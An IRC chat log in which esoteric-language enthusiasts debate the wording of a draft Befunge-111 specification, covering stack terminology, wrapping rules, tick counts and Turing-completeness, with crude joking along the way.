18:30:05 <cpressey> anmaster_l: Stacks are not defined in terms of cells, they are defined in terms of intvals.
18:30:36 <anmaster_l> cpressey, so they can't contain opaque objects
18:30:37 <anmaster_l> ?
18:30:40 <cpressey> Sorry, s/intvals/objects/.
18:30:42 <anmaster_l> ah
18:30:53 <cpressey> And yes, cells are effectively only in the playfield
18:31:32 <anmaster_l> fun, I hope no one gets confused reading cfunge source then! (typedef funge_cell is used stack too)
18:32:43 <cpressey> Well, elements on the stack aren't mutable, so there doesn't seem to be any reason to define them the same as cells.
18:32:56 <anmaster_l> cpressey, what exactly is ASCII?
18:33:04 <anmaster_l> shouldn't you refer to the relevant spec for it? ;P
18:33:23 <anmaster_l> cpressey, how are they not?
18:33:30 -!- augur has quit (Ping timeout: 248 seconds).
18:33:33 <anmaster_l> cpressey, there is that FRTH fingerprint which does rot and such
18:33:47 <cpressey> rot can be defined in terms of pushes and pops
18:34:00 <anmaster_l> (http://www.rcfunge98.com/rcsfingers.html#FRTH btw)
18:34:09 <anmaster_l> cpressey, what about IIPC?
18:34:25 <anmaster_l> hm it isn't change in place either I guess
18:35:12 -!- kar8nga has joined.
18:37:34 -!- cpressey has changed nick to cpressey[lunch].
18:38:08 -!- augur has joined.
18:41:21 <anmaster_l> cpressey[lunch], okay that doesn't work
18:41:27 <anmaster_l> it doesn't allow opaque values on the stack
18:41:50 <anmaster_l> the whole point of it is intermixing opaque and normal values
18:41:56 <anmaster_l> as parameters to some fingerprints
18:48:39 -!- alise has joined.
18:51:23 <asie[afk]> http://www.delsquacho.com/articles/ten-youtube-translations.php - This made me smile.
18:51:56 <alise> I am in fact still alive.
18:52:04 <alise> Now I need to find somewhere to put my computer...
18:52:04 <asie[afk]> Nana
18:52:06 <asie[afk]> Nana
18:52:06 <asie[afk]> Nana
18:52:07 <asie[afk]> Nana
18:53:06 <alise> cpressey[lunch] is making a new befunge standard himself?
18:53:07 <asie[afk]> Top 1 use for a Neural Network: Deciphering YouTube comments
18:53:12 -!- oerjan has quit (Quit: Later).
18:53:37 <asie[afk]> Befunge-111
18:53:41 <asie[afk]> which is obviously Befunge 2011
18:53:45 <asie[afk]> WE HAVE 2010 NOW
18:53:45 <asie[afk]> HELLO
18:53:55 <MissPiggy> fuck 2010
18:53:58 <MissPiggy> 2010 doesn't exist
18:54:07 <asie[afk]> OR
18:54:10 <asie[afk]> maybe he just meant
18:54:11 <asie[afk]> Befunge-7
18:55:01 <asie[afk]> `ls
18:55:03 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.32722 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
18:55:31 <fizzie> alise: Well, you know the saying, never send a boy to do a man's job.
18:55:31 <asie[afk]> `ls
18:55:34 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.351 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
18:55:35 <alise> asie[afk] is still just as annoying.
18:58:14 <cpressey[lunch]> <anmaster_l> it doesn't allow opaque values on the stack <-- please refer to why and how to fix it
18:58:46 <alise> cpressey[lunch]: So you usurped Befunge-10x?
18:58:53 <alise> Thank god. It was awful :P
18:59:09 -!- cpressey[lunch] has changed nick to cpressey.
18:59:30 <cpressey> alise: It? Does a Befunge-10x exist?
18:59:56 <alise> Um, that thing anmaster_l was working on with fingerprints being URIs.
19:00:06 <alise> I say thing; I mean abomination. >_>
19:00:15 <cpressey> Oh, I thought that was 109
19:00:22 <alise> Yeah, but then he failed to get it done in 2009
19:00:25 <asie[afk]> I should make Befunge-911
19:00:29 <alise> I think it was 108 before that
19:03:36 -!- dev_squid has quit (Ping timeout: 258 seconds).
19:04:42 -!- dev_squid has joined.
19:04:59 -!- asie[afk] has quit (Ping timeout: 265 seconds).
19:05:18 <alise> Welp, no place to put the computer.
19:05:57 <alise> 09:29:29 * cpressey remembers why he walked away from Befunge the first time
19:06:00 <alise> Ohh, ice burn.
19:12:17 <cpressey> I'm working on a "Notes" document to accompany the spec and contain all the non-normative commentary... hopefully it'll help make things clearer.
19:14:54 <pikhq> alise: So, new place, eh?
19:15:18 <alise> Well, not permanent. Only for, well, this night, pretty much. Sigh.
19:19:26 <anmaster_l> cpressey:
19:19:30 <anmaster_l> "In Befunge-111, any stack can only contain one kind of object."
19:19:34 <alise> cpressey: Allow objects on the stack.
19:19:41 <anmaster_l> that is the problematic phrase
19:19:42 <alise> i.e. objects and intvals
19:19:45 <alise> It will be fun and hilarious
19:19:51 <alise> oh lol
19:19:55 <alise> i fidn' teven see this convo
19:19:59 <alise> *didn't even
19:20:30 <alise> i would really like my computer :|
19:23:15 <anmaster_l> hm?
19:23:57 <cpressey> anmaster_l: That kind of object is "object", which is either an intval or an opaque. I realize this wording is confusing. I'll fix it.
19:24:22 <anmaster_l> cpressey, right
19:24:39 <anmaster_l> cpressey, it sounds like it is one kind of object per stack
19:24:43 <anmaster_l> (and that is surely wrong)
19:24:50 <cpressey> _object_ is horrible word to have a definition of
19:25:04 <anmaster_l> cpressey, what about value?
19:25:24 <cpressey> Yeah, value is OK. Don't ask me to define it though.
19:25:42 <cpressey> That's the sort of thing that makes philosophy careers.
19:26:11 <anmaster_l> cpressey, or entenity (sp? argh)
19:26:21 <fizzie> "object: region of data storage in the execution environment, the contents of which can represent values" (C99 is a bit pragmatic)
19:26:55 <anmaster_l> cpressey, actually, value would be confusing
19:27:06 <anmaster_l> object or entenity (again: spelling?)
19:27:09 <anmaster_l> are better
19:27:17 <alise> entity
19:27:22 <fizzie> Eternity.
19:27:23 <anmaster_l> alise, thanks
19:27:23 <cpressey> "element"?
19:27:30 <pikhq> alise: So, you're at a hotel or something and will be at place later. "Fun".
19:27:49 <alise> Entity: (forall x. x is an entity) & ~(exists x. ~(x is an entity))
19:27:53 <anmaster_l> cpressey, an element of an array on the stack?
19:27:54 <alise> Philosophy is like logic but with more redundancy.
19:27:55 <anmaster_l> or SETS
19:28:12 <cpressey> "thing"
19:28:13 <anmaster_l> cpressey, calling it element in general would make that SETS fingerprint confusing perhaps
19:28:15 <MissPiggy> sets don't exist
19:28:17 <anmaster_l> cpressey, hehe
19:28:21 <pikhq> alise: Logic is often considered part of philosophy.
19:28:33 <alise> By idiots.
19:28:39 <anmaster_l> MissPiggy, I'm talking about http://www.rcfunge98.com/rcsfingers.html#SETS
19:28:44 <MissPiggy> philosophy without logic is like sex without marrige
19:29:01 <alise> MissPiggy: Less restraining?
19:29:02 <alise> :P
19:29:09 <cpressey> (More diseases)
19:29:13 <pikhq> I consider it more a tool needed to do philosophy sanely.
19:29:17 <pikhq> (not that this stops people from doing it insanely)
19:29:53 -!- charlls has joined.
19:30:25 <cpressey> Maybe I'll just define "object stack", "stack stack", and "fingerprint semantic stack" as seperate things instead of trying to generalize (which is what is leading to me needing the word "thing")
19:30:40 <alise> Object or stack or fingerprint semantic...
19:30:46 <anmaster_l> cpressey, aha
19:30:51 <alise> cpressey: How about having object/stack/fingerprint semantics "types"?
19:30:59 <alise> And then say "A stack of a certain type ... contains elements of that type ..."
19:31:09 <cpressey> Either that, or objects can be stacks and they can be semantics and that is Wrong, or at least requires a lot more thought
19:31:22 <alise> So you say a stack of objects, a stack of stacks of a certain type, and a stack of fingerprint semantics.
19:31:39 <anmaster_l> cpressey, oh fun, lets have a fingerprint that can place stacks as opaque values on your stack
19:31:42 <cpressey> Or the type intval|opaque could have a name besides "object"
19:31:57 <anmaster_l> like, popping TOSS off, and pushing it as a opaque value on the new TOSS
19:32:04 <anmaster_l> ;)
19:32:22 <cpressey> alise: I think I like that approach
19:32:35 <anmaster_l> alise, that might work
19:32:43 <cpressey> anmaster_l: Nothing stopping you, really, since opaque is opaque is opaque
19:33:13 <anmaster_l> cpressey, true, anyway I come up with semi-opaque lazy lambdas now
19:33:19 <anmaster_l> that will execute when inspected
19:33:20 <anmaster_l> by anything
19:33:32 <anmaster_l> and thus try to present themselves with a reasonable value
19:33:41 <anmaster_l> cpressey, of course this is extremely feral
19:33:54 <anmaster_l> also it requires a lot more thought
19:34:11 <alise> cpressey: Allow the core operations to be performed on opaque objects, with semantics defined by the opaque object.
19:34:22 <anmaster_l> if you made all values functions, then this could work transparently
19:34:26 <alise> So we can have y push a bunch of lazy values that only evaluate when you use them.
19:34:38 <anmaster_l> either have values that are just "dumb" functions, returning their own value
19:34:42 <anmaster_l> or have advanced ones
19:34:48 <alise> OR
19:34:51 <anmaster_l> that could vary depending on what the operation is
19:34:56 <alise> Have values that do completely random things wwhen you operate on them
19:34:57 <alise> *when
19:35:01 <alise> +? Yes, that outputs the stack stack.
19:35:03 <anmaster_l> alise, and lazy values too of course
19:35:08 <alise> anmaster_l: Those can just be done as opaques.
19:35:28 <anmaster_l> alise, well, there is a bit of confusion about how many elements a lazy value could expand to
19:35:30 <anmaster_l> and the stack size
19:35:44 <anmaster_l> (you can get stack size with y remember?)
19:35:50 -!- charlls has quit (Read error: Connection reset by peer).
19:36:16 <anmaster_l> <alise> Have values that do completely random things wwhen you operate on them <-- yes :D
19:36:29 <anmaster_l> however, I think this is best left out of 111
19:36:40 <anmaster_l> it needs more thought
19:36:44 <alise> Fine, I'll just define my own... Abstract Funge!
19:36:54 <alise> N-dimensional? Who says it needs to be in only one kind of space?
19:37:00 <alise> Numbers? Why restrict yourself thusly?!
19:37:07 <anmaster_l> alise, call it beabstract?
19:37:08 <alise> It will be a monoidal semiring.
19:38:15 <anmaster_l> alise, anyway, one of the goals with befunge-111 is that it shouldn't break the majority of previous programs (some depending on corner cases are ok)
19:38:27 <anmaster_l> and it should clear up confusion
19:38:58 <anmaster_l> plus move some stuff, like tio= into fingerprints (and keep the existing chars implementation defined)
19:39:02 <anmaster_l> (for those)
19:39:06 <alise> cpressey: Can I make a humble suggestion? (note: it's crazy)
19:39:39 <anmaster_l> (alise, read logs for the last few weeks or so if you want more details, there was quite a lot of discussion)
19:39:52 <alise> Let an IP be in multiple places at once
19:40:00 <alise> That is, multiple velocities going different ways
19:40:06 <alise> Quantumly!
19:40:09 <anmaster_l> har
19:40:15 <anmaster_l> fine for a fingerprint I feel
19:40:15 <alise> DO IT
19:40:18 <alise> anmaster_l: NO
19:40:25 <alise> stop trying to keep funge boring :(
19:40:41 <Deewiant> s/boring/practical/
19:40:42 <cpressey> alise: For orthogonality, all vectors would need to be quantum superpositions of multiple vectors.
19:41:00 <cpressey> And the stack, too.
19:41:12 <anmaster_l> cpressey, and funge space?
19:41:18 <alise> cpressey: Whyever not? :D
19:41:24 <cpressey> No, funge space can be reduced to a single cell.
19:41:34 <alise> Ooh. Go in EVERY DIRECTION AT ONCE.
19:41:39 <alise> Your IP would /explode/ outwards.
19:41:45 <alise> Exploring t'forbidden space.
19:41:47 <Deewiant> And what would it do?
19:41:48 <alise> Now these wouldn't be separate IPs, oh no.
19:41:53 <alise> Go on a jump character?
19:41:56 <alise> ALL IPS JUMP
19:42:00 <alise> Change direction?
19:42:05 <alise> As do of your IPs.
19:42:08 <alise> *all of
19:42:14 <alise> Separate, yet equal!
19:42:17 <alise> White, yet black!
19:42:29 <Deewiant> Silly, yet silly!
19:42:30 * alise takes another hit from the bong
19:42:37 <alise> Also: ALBATROSS IPs
19:42:53 <anmaster_l> alise, your ideas are fine for some other be* language
19:42:56 <anmaster_l> but not befunge
19:43:00 <anmaster_l> see logs about that
19:43:04 <alise> cpressey: Tell him that he is wrong!
19:43:05 <alise> DO IT
19:43:11 <Deewiant> Too bad the name bequnge is already taken
19:43:21 <alise> befuck
19:43:24 <anmaster_l> alise, cpressey argued we should keep befunge close to the current one
19:43:29 <anmaster_l> so tough luck
19:43:34 <alise> That was before cpressey heard my wonderful idea.
19:43:36 <Deewiant> befuckyoubecausequantum
19:43:44 <anmaster_l> alise, also, he suggested other fungoids could be created
19:43:47 <anmaster_l> for weird ideas
19:43:47 <alise> BeQuantumlyFucked
19:43:49 <anmaster_l> like those
19:43:51 -!- kar8nga has quit (Remote host closed the connection).
19:44:46 <cpressey> alise: If you interpret the Befunge-111 in multiple languages simultaneously, you will find it contains all of your proposed features, and more.
19:44:49 <anmaster_l> alise, here is a suggested esolang name. Design the matching esolang: undertrefuck (read as: under-tre-fuck)
19:44:58 <cpressey> *spec
19:44:59 <alise> Fucking under trees.
19:45:06 <alise> cpressey: :D
19:45:25 <alise> BeEfucking
19:45:31 <alise> Sexual intercourse with bees. As a language.
19:45:35 <anmaster_l> alise, or combine underload, trefunge and brainfuck
19:45:52 <Deewiant> urefucked?
19:45:59 <alise> Unlambda + INTERCAL + Brainfuck + Underload = ??
19:46:00 <anmaster_l> Deewiant, heh
19:46:04 <alise> Unlambda + INTERCAL + Brainfuck + Underload + Befunge = ??
19:46:05 <alise> I should say
19:46:09 <alise> The 5 classics
19:46:10 <anmaster_l> hm
19:46:30 <anmaster_l> alise, "a messy bloated tarpit"
19:46:36 <anmaster_l> that is what you replace ?? with
19:46:36 <alise> BerainfunINTERCALoadge
19:46:54 <alise> Ber ayen fun interca loadge
19:50:09 <alise> Esolang idea: Axiom.
19:50:19 <anmaster_l> mhm
19:50:35 <alise> Example: forall x. x=3 -> outputted(start, x)
19:50:50 <alise> I.e., for all values x, x is 3 implies x was outputted at the start of execution.
19:51:25 <alise> exists x. x = inputted(start)
19:51:36 <alise> I.e., there exists a value x such that x is equal to what was inputted by the user at the start of the program.
19:51:50 <alise> exists x. x = inputted(start) & outputted(start+1, x)
19:52:06 <alise> I.e., there exists a value x such that x is equal to what was inputted by the user at the start of the program, and that was outputted at the start of the program + 1 event.
19:52:19 <alise> (exists x. x = inputted(start+1) & outputted(start, x)) - fails, contradictory
19:52:31 <alise> or rather impossible, not contradictory necessarily
19:52:39 <alise> it just /happened/ to be the same thing printed as you put in :)
19:56:02 <alise> forall n. forall x. outputted(n, x-1) & (x % whatever) = 0 -> outputted(n+1, x)
19:56:07 <alise> you get the idea
20:00:25 <anmaster_l> alise, spec and implement it then
20:01:00 <cpressey> > ; ; ; ; @
20:01:08 <cpressey> How many ticks before it halts?
20:01:30 <anmaster_l> cpressey, iirc 98 says space takes no ticks, and nor does ;; does it?
20:01:36 <anmaster_l> I'm not completely sure
20:02:26 <anmaster_l> "Like space, this takes zero ticks to execute, so that subroutines, comments, and satellite code can be insulated by surrounding it with ; markers, with no effect on multithreading."
20:02:40 <anmaster_l> cpressey, so I guess: tick 1: >, tick 2 @
20:02:44 <cpressey> I would say it executes >, then @, then it's over
20:02:46 <cpressey> Yeah
20:03:03 <anmaster_l> cpressey, better check with ccbi on this (cfunge doesn't track tick counts)
20:03:31 <anmaster_l> Deewiant spent quite a lot of time figuring this out
20:04:26 <Deewiant> Yeah, just run with ccbi's debugger ;-P
20:04:28 <alise> cpressey: space taking zero ticks sucks by the way
20:04:30 <alise> imo.
20:04:32 <Deewiant> It's the spec 2.0!
20:04:38 <cpressey> This is ugly. I'm going to have to define a single ; in a path as a special case.
20:04:44 <Deewiant> Why
20:04:46 <anmaster_l> cpressey, how is that?
20:04:48 <alise> or, well, I hate sgml spaces more
20:04:49 <Deewiant> There is never only a single ; in a path
20:04:49 <anmaster_l> cpressey, it wraps around
20:04:51 <cpressey> alise: Well, we want wrapping to complete in finite time
20:05:03 <alise> cpressey: Not SGML spaces + A run of spaces takes 0 ticks. But please no SGML spaces.
20:05:15 <cpressey> Deewiant: for my defn of 'path' right now there can be. this might chaneg
20:05:25 <anmaster_l> cpressey, I think SGML spaces should be kept now
20:05:27 <anmaster_l> they are useful
20:05:31 <alise> nooooooooOOOOOO
20:05:33 <anmaster_l> some programs I wrote made use of them
20:05:36 <cpressey> Fuck "useful"
20:05:42 <cpressey> "useful" has no meaning here
20:05:45 <anmaster_l> for things crossing each other
20:05:57 <Deewiant> cpressey: Your definition is poor ;-P
20:06:00 <anmaster_l> cpressey, like two strings intersecting, one vertical one horizontal
20:06:10 <cpressey> Deewiant: which is why it might change :)
20:06:11 <alise> Deewiant: You just don't want to change Mycology :)
20:06:20 <MissPiggy> I want to make one of those markov bots
20:06:30 <anmaster_l> cpressey, it will change due to wraparound
20:06:38 <Deewiant> alise: This wouldn't change anything since it sounds to me that the semantics are the same
20:06:42 <MissPiggy> well I just want to put text file in and get a bot out..
20:06:50 <alise> Deewiant: I just meant in general :P
20:07:22 <cpressey> My definition right now is only the "ray" extending outward. It needs to be the "line". Then maybe behaviour w.r.t semicolons will be easier to defnie
20:07:33 <cpressey> Or not
20:07:34 <Deewiant> alise: Well of course not ;-)
20:07:48 <anmaster_l> cpressey, look, it makes perfect sense if you considers wraparound
20:08:05 <anmaster_l> cpressey, the IP will always wrap, sooner or later
20:08:18 <Deewiant> cpressey: It /is/ a ray, it just crosses over itself ;-P
20:08:25 <cpressey> anmaster_l: I know it makes sense. The problem is that it needs to be worded in the form of an unambiguous definition.
20:08:27 <anmaster_l> cpressey, you could define a "wrapping ray"
20:08:36 <anmaster_l> cpressey, and then use that in there
20:08:44 <alise> If you have multiple velocities
20:08:47 <anmaster_l> if you need to keep ray and wrapping ray separate
20:08:49 <alise> The ray can actually CROSS OVER ITSELF
20:08:50 <alise> <3
20:09:00 <alise> Two sub-IPs collide and form one IP
20:09:03 <alise> With the average velocity of both
20:09:10 <alise> This is brilliant, do not deny it
20:09:15 <anmaster_l> why did this make me think of ghostbusters...
20:09:28 <alise> Don't cross the IPs!
20:09:33 <anmaster_l> oh right
20:09:37 <cpressey> ..., Ray!
20:10:22 <anmaster_l> cpressey, so suggestion: non-wrapping ray can sometimes be useful (some fingerprints that write a 0"gnirts" into funge space, with a given delta for example)
20:10:34 <anmaster_l> cpressey, so just define wrapping and non-wrapping rays
20:10:39 <cpressey> Or I'll just describe this procedurally
20:10:57 <anmaster_l> cpressey, defined wrapping yet btw?
20:11:38 <anmaster_l> with that, a wrapping ray would be trivial
20:11:50 <anmaster_l> so then defer defining ; until you defined wrapping
20:13:08 <alise> cpressey: A suggestion: Wrapping occurs when you hit an untraversed cell: all the cells specified that aren't just spaces around like befunge-98 wrapping rule at the start are traversed, anything p'd is traversed,
20:13:13 <alise> anything leading to a traversed cell is traversed,
20:13:24 <alise> and everything any IP has ever landed upon is traversed
20:13:40 <anmaster_l> alise, that doesn't allow for bounds to shrink
20:13:40 <alise> "Leading" meaning "under the current velocity"
20:13:49 <alise> anmaster_l: Yes it does, it's just an optimisation
20:13:52 <anmaster_l> which is important wrt p with space
20:13:57 <alise> Since runs of spaces take 0 time,
20:14:00 <anmaster_l> alise, it is a correctness issue for y
20:14:01 <alise> Just set them to spaces
20:14:07 <alise> anmaster_l: So fix y
20:14:13 <anmaster_l> alise, fix it how?
20:14:32 <alise> Make it not cause an incorrectness issue
20:14:56 <anmaster_l> alise, well since it *pushes bounds* on stack I don't see how you mean it can not depend on that
20:15:43 <alise> Define it to be the maximum bounds ever
20:15:55 <Deewiant> What breaks y here?
20:15:56 <anmaster_l> alise, there are good reasons not to
20:15:57 <alise> i.e. the size of the region of traversed cells at its maximum at any point in the past or present
20:16:08 <alise> Deewiant: Nothing
20:16:11 <alise> Since bounds never shrink in my system
20:16:12 <alise> So, yeah
20:16:13 <anmaster_l> alise, and a lot of effort went into making sure it shrunk to be current minimum bounds
20:16:18 <anmaster_l> ...
20:16:31 <alise> Any such shrinkage is just an optimisation
20:16:35 <alise> So don't expose that optimisation to y, duh
20:16:45 <anmaster_l> alise, no it isn't. it is a correctness issue according to mycology
20:16:49 <anmaster_l> and I agree
20:16:51 <alise> In Befunge-98
20:16:57 <alise> We're specifying a new language here, hellooooooooo
20:17:08 <anmaster_l> alise, it is a revision of it.
20:17:16 <Deewiant> Where is the non-shrinkage happening
20:17:20 <anmaster_l> also it is nicer to have bounds be the minimum bounding box at any time
20:17:34 <anmaster_l> Deewiant, read what he suggested above
20:17:34 <Deewiant> You just said "wrapping occurs at point x"
20:17:39 <Deewiant> I did
20:17:49 <alise> Let me specify it more precisely.
20:17:57 <anmaster_l> well I guess you could have two sets of bounds
20:18:08 <cpressey> alise: Much as I want to, I don't think too much can be made backwards-incompatible.
20:18:21 <alise> This wouldn't be incompatible at all apart from some minor detail of y :-)
20:18:37 <cpressey> (speaking in general, not sure what the current discussion centers around)
20:18:38 <Deewiant> It would still not be incompatible IMO
20:18:39 <anmaster_l> cpressey, yep, a backwards incompat one can be made as a different language, or as a feral fingerprint
20:18:52 <anmaster_l> (depending on the nature of the backwards incompat)
20:18:53 <Deewiant> You just defined the semantics of wrapping
20:18:59 <Deewiant> Which is invisible to everything
20:19:06 <Deewiant> What cells are "traversed" matters not since they're spaces
20:19:13 <anmaster_l> Deewiant, true. y bounds might be separate
20:19:29 <Deewiant> An impl is allowed to allocate 4G*4G and traverse every single space if it wants to
20:19:32 <Deewiant> The semantics are the same
20:19:42 <anmaster_l> yes
20:19:50 <alise> Whenever the IP would advance to an /untraversed/ cell, it instead {wrapping stuff goes here}. An untraversed cell is a cell that is not traversed. A traversed cell is a cell that satisfies one or more of the following properties: * It was in the original program source and (insert stuff here to handle extraneous spaces, using Befunge-98 rules). * It has been advanced to by an IP at some point in the program without wrapping occur
20:19:50 <alise> OR
20:19:57 <anmaster_l> Deewiant, how much is 4G*4G btw?
20:20:14 <alise> * If the IP continued on its current velocity, it would eventually reach a traversed cell without wrapping.
20:20:17 <alise> The end.
20:20:29 <Deewiant> anmaster_l: 17-19 exabytes or so?
20:20:35 <anmaster_l> ah
20:20:45 <Deewiant> Or "square gigabytes" if you prefer :-P
20:20:46 <alise> cpressey: ^
20:20:55 <anmaster_l> alise, you forgot about one thing
20:20:56 <alise> I think this definition is general enough to withstand all the ferality from any fingerprint you wish.
20:21:03 <anmaster_l> alise, writing a value to said cell
20:21:12 <alise> anmaster_l: "It has been modified over the course of the program"
20:21:18 <cpressey> alise: Currently, 'p'ing spaces into untraversed locations doesn't change wrapping... I'm not sure if your defn does or not. It might not, but it's not obvious to me yet.
20:21:24 <anmaster_l> alise, you missed out on that
20:21:28 <anmaster_l> alise, your message was cut off
20:21:29 <anmaster_l> ...
20:21:30 <alise> anmaster_l: k
20:21:40 <anmaster_l> "* It has been advanced to by an IP at some point in the program without wrapping occur"
20:21:40 <alise> cpressey: If you p something really far away, then set off on a course towards it, you won't wrap until you hit it.
20:21:43 <anmaster_l> alise, ^
20:21:48 <anmaster_l> alise, it ended there
20:21:50 <alise> occuring. * It has been modified over the course of the program.
20:21:54 <alise> And then the OR, and the line after.
20:22:03 <anmaster_l> alise, fix your client btw :P
20:22:33 <alise> I'm using webchat.freenode.net in IE on someone else's machine because there's nowhere to put my iMac because I'm at somebody else's house because of reasons out of my control.
20:22:37 <alise> So shut up.
20:22:44 <anmaster_l> mhm
20:22:48 <cpressey> Erm, since Funge-98 programs can't rely on more than 4G*4G playfield, and still only have (effectively) a single stack, does this mean Befunge-98 is not TC?
20:22:59 <Deewiant> Eh?
20:23:11 <anmaster_l> cpressey, befunge-98 allows larger ones
20:23:13 <Deewiant> Stack stack, dude
20:23:20 <anmaster_l> and stack-stack yes
20:23:21 <cpressey> anmaster_l: Allows, but does not guarantee.
20:23:22 <anmaster_l> Deewiant, err no
20:23:31 <anmaster_l> Deewiant, y can query size for each stack on stack stack
20:23:40 <cpressey> Deewiant: stack stack = single stack with markers, I think.
20:23:55 <cpressey> (Didn't we have this conversation?)
20:23:57 <fizzie> cpressey: You can make a tape out of the stack stack using the stack stack ops.
20:24:03 <anmaster_l> cpressey, that is an implementation detail
20:24:10 <anmaster_l> at least I have not implemented it like that
20:24:10 <cpressey> fizzie: That would save it.
20:24:14 <Deewiant> anmaster_l: But it isn't specced that it has to be a result that meaningfully fits in a cell :-P
20:24:23 <anmaster_l> Deewiant, eh?
20:24:29 <alise> cpressey: I don't think my definition of traversable has any flaws.
20:24:41 <alise> It's basically just a refinement and formalisation of the Befunge-98 wrapping rules.
20:24:41 <Deewiant> anmaster_l: E.g. CCBI will happily push INT_MIN if you push 2 gigacells
20:24:44 <anmaster_l> Deewiant, 0y not fit on stack?
20:24:53 <Deewiant> Push INT_MIN for the size, I mean
20:24:56 <alise> (In the 98 spec they're basically "It wraps like regular 2d space except not like that if you're in other dimensions. Happy/")
20:24:58 <alise> *Happy?
20:26:06 <anmaster_l> I think alise's suggestion might work. Of course y would need separate (always minimal) bounds
20:26:21 <Deewiant> cpressey: C doesn't guarantee infinite memory either, does that mean it's not TC?
20:26:29 <anmaster_l> (except for ATHR, but that is feral so it is okay for it to say that bounds updates might take a while to propagate)
20:26:44 <cpressey> Deewiant: I don't consider C to be TC, no.
20:26:49 <anmaster_l> Deewiant, iirc that has been discussed here
20:26:57 <Deewiant> cpressey: What /do/ you consider TC? :-)
20:27:24 <anmaster_l> cpressey, iirc C is TC with file io
20:27:24 <alise> Oh, you may also want to add:
20:27:28 <fizzie> Deewiant: Only languages that have infinite storage, yet have been implemented on finite computers.
20:27:40 <cpressey> Deewiant: It's more like "does it provide an operation that could always access more memory *if* that memory was available"? Addressing memory with fixed-size pointers doesn't count. (but car and cdr do.)
20:27:47 <alise> that a cell is also traversable if a fingerprint deems it to be so
20:27:55 <alise> (but feral fingerprints override the spec anyway, so possibly redundant?)
20:27:58 <anmaster_l> cpressey, befunge-98 is TC then. bignum is allowed I argue
20:28:08 <alise> anmaster_l: Only if you use dud values for bits
20:28:11 <alise> WHich is breaking the spec
20:28:12 <alise> *Which
20:28:20 <anmaster_l> alise, it doesn't forbid it either
20:28:29 <alise> You need to push the number of bits in a cell
20:28:29 <anmaster_l> alise, I mean -1 for number of bytes per cell
20:28:33 <alise> You don't, you push -1
20:28:36 <alise> You violate the spec
20:28:36 <alise> Q.E.D.
20:28:42 <anmaster_l> alise, yes, but the spec doesn't forbid that either
20:28:56 <pikhq> C doesn't merely *not guarantee* infinite memory, it requires finite memory.
20:29:04 <anmaster_l> pikhq, indeed
20:29:09 <pikhq> It can be arbitrarily large, but most have a bound.
20:29:14 <pikhq> Erm. Must.
20:30:27 <alise> anmaster_l: You have to push the bit width
20:30:28 <alise> You do not
20:30:30 <alise> That is violating the spec
20:30:35 <alise> Simple as
20:30:43 <anmaster_l> alise, no
20:30:48 <cpressey> So if I define a language with two instructions, and the meanings of both instructions are implementation-defined, then that language is TC, because it is allowed for an implementation to treat the instructions as encoding a UTM.
20:31:01 <Deewiant> cpressey: I see. By that definition, whether Funge-98 is TC depends on what part of the spec you read ;-)
20:31:06 <anmaster_l> alise, please read the spec
20:31:18 <anmaster_l> alise, "1 cell containing the number of bytes per cell (global env)."
20:31:20 <anmaster_l> not bits
20:31:25 <alise> Same thing
20:31:29 <alise> A bignum does not have -1 bytes per cell
20:31:31 <anmaster_l> alise, anyway, one could define bytes differently
20:31:35 <alise> No, you can't
20:31:43 <alise> Not even cpressey would consider that reasonable
20:31:48 <anmaster_l> alise, I define my bytes to be -(one bignum)
20:31:58 <alise> Just admit you're violating the spec
20:32:11 <anmaster_l> alise, it's a corner case
20:32:23 <alise> cpressey: Oh, please step in and resolve this ridiculousness.
20:32:25 <anmaster_l> I agree on that
20:32:32 <fizzie> pikhq: I think we did come to the conclusion that C's file IO parts are vaguely enough defined that you can still have a conforming C implementation which has an infinite tape affixed to a file (so that you move around the tape by writing special operations into the file), and thusly make it TC, but you might not want to count that.
20:32:46 <alise> I can't even believe anmaster_l is defending "I have -1 bytes per cell because I say the size of a byte is minus the size of one bignum."
20:33:10 <anmaster_l> alise, that was tongue in cheek -_-
20:33:17 <anmaster_l> alise, whooosh
20:33:29 <alise> All discussion about Befunge is tongue-in-cheek
20:33:40 <alise> But you were being just as ridiculous about refusing to admit you violate the spec before
20:33:56 <alise> And, also, it wasn't funny insofar as it was the obvious thing to say, were your intention to make the most boring non-excuse there is.
20:33:58 <fizzie> alise: Yes; personally I'd argue based on the incredible vagueness of "typically 4, could also be 2, 8, really really large, infinity, etc." (I mean, "etc."?), but that's not *so* convincing either.
20:34:07 <anmaster_l> alise, I don't think I violate the spec. But yes 0 might be better than -1
20:34:28 <pikhq> fizzie: Yes, but aside from file IO, C is required to be an FSM.
20:34:32 <alise> I'm just going to defer the only person who has any actual idea about the spec.
20:34:38 <pikhq> :)
20:34:47 <alise> *defer to
20:34:50 <anmaster_l> alise, "aka cell size. Typically 4, could also be 2, 8, really really large, infinity, etc. " <-- yes I represent infinity as -1 here
20:34:52 <cpressey> http://pastie.org/852357
20:34:52 <alise> cpressey: Pushing -1 for the bytes-per-cell value in y is verboten unless you actually have -1 bytes per cell. Yes? And a bignum does not take up -1 bytes per cell.
20:35:27 <cpressey> alise: The spec says: "2. 1 cell containing the number of bytes per cell (global env). aka cell size. Typically 4, could also be 2, 8, really really large, infinity, etc."
20:35:33 <cpressey> WITHOUT SAYING HOW TO REPRESENT INFINITY
20:35:38 <alise> Well, yes.
20:35:42 <alise> But -1 isn't infinity, it's -1.
20:35:47 <alise> That's pretty obvious.
20:36:02 <alise> (So "infinity" is just bunk there.)
20:36:06 <fizzie> anmaster_l: Do you happen to know Erlang's actual bignum format, by the way? I only know how GMP does it, and that particular library has a (surprisingly small) MAX_BIGNUM.
20:36:16 <Deewiant> anmaster_l: You should push a function that, when accessed, gives the largest number thus far used by the program + 1
20:36:19 <cpressey> Well, if I'm a Befunge program, with no knowledge of what could be interpreting me.
20:36:21 <alise> GMP has MAX_BIGNUM?
20:36:23 <alise> Wowzers.
20:36:25 <cpressey> And I run y.
20:36:30 <cpressey> And I look at the second cell.
20:36:35 <cpressey> And I see "-1"
